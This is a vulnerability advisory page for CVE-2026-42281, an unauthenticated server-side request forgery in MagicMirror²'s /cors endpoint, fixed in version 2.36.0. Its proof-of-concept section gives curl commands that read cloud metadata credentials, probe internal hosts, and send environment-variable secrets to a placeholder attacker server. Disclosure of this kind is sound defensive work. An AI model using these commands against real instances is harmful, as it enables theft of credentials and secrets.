CVE-2026-42281: MagicMirror²: Unauthenticated SSRF via /cors endpoint

Published May 5, 2026
·
Updated

Summary

An unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (VARNAME), enabling exfiltration of server-side secrets.

Details

The /cors endpoint in js/serverfunctions.js (function cors(), lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched server-side via fetch() and the full response is returned to the caller.

Additionally, the replaceSecretPlaceholder() function (lines 21-25) expands any VARIABLENAME pattern in the URL with the corresponding process.env value before the request is made, allowing an attacker to exfiltrate environment variables (e.g. API keys, tokens, database credentials).

Vulnerable code path:

GET /cors?url=<attacker-controlled-url> → replaceSecretPlaceholder(url) // expands ENVVAR → process.env.ENVVAR → fetch(url) // no validation, no blocklist → response returned to attacker // full body, status, headers

Key issues: - No authentication required - No URL validation or blocklist for private/reserved IP ranges - No restriction on URL scheme or destination - Environment variable expansion in URL before fetch

PoC

Prerequisites: a running MagicMirror² instance accessible on the network (default: http://<host>:8080).

1. Basic SSRF — access cloud metadata (AWS IMDSv1):

curl "http://<target>:8080/cors?url=http://169.254.169.254/latest/meta-data/"

If the server runs on AWS EC2 without IMDSv2 enforcement, this returns instance metadata including IAM role credentials.

2. Internal network scanning:

curl "http://<target>:8080/cors?url=http://192.168.1.1/" curl "http://<target>:8080/cors?url=http://127.0.0.1:3000/"

The attacker can probe internal services by observing response status codes and timing.

3. Environment variable exfiltration:

curl "http://<target>:8080/cors?url=http://<attacker-server>/?leak=SECRETAPIKEY"

The server expands SECRETAPIKEY to the value of process.env.SECRETAPIKEY before making the request, sending the secret to the attacker-controlled server as a query parameter.

Impact

- Cloud deployments (AWS/GCP/Azure): full compromise of cloud instance credentials via metadata service (169.254.169.254), potentially leading to lateral movement within the cloud account - Internal network access: the server becomes a proxy to scan and interact with services on internal networks that are not directly reachable by the attacker - Secret exfiltration: environment variables containing API keys, database credentials, or other sensitive configuration are directly readable - Affected users: anyone running MagicMirror² exposed to an untrusted network (including LAN). The /cors endpoint requires no authentication, so any host that can reach the MagicMirror HTTP port can exploit this vulnerability

Other sources

MagicMirror² is an open source modular smart mirror platform. Prior to 2.36.0, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (VARNAME), enabling exfiltration of server-side secrets. This vulnerability is fixed in 2.36.0.

MITRE

Affected Software

2 affected componentsFixes available
npm/magicmirror<=2.35.0
2.36.0
MagicMirror Magicmirror Node.js<2.36.0

Event History

May 5, 2026
Advisory Published
via GitHub·08:53 PM
Data Sourced
via GitHub·08:53 PM
DescriptionWeaknessAffected Software
May 14, 2026
CVE Published
via MITRE·03:46 PM
Data Sourced
via MITRE·03:46 PM
DescriptionWeakness
Data Sourced
via NVD·04:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-42281?

CVE-2026-42281 is classified as a critical severity vulnerability due to its potential for remote exploitation and impact on internal networks.

2

How do I fix CVE-2026-42281?

To fix CVE-2026-42281, upgrade MagicMirror to version 2.36.0 or later.

3

What does the CVE-2026-42281 vulnerability allow an attacker to do?

CVE-2026-42281 allows an attacker to execute arbitrary HTTP requests to internal networks through the unauthenticated `/cors` endpoint.

4

Which versions of MagicMirror are affected by CVE-2026-42281?

CVE-2026-42281 affects MagicMirror versions up to and including 2.35.0.

5

Is authentication required to exploit CVE-2026-42281?

No, CVE-2026-42281 can be exploited by an unauthenticated remote attacker.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203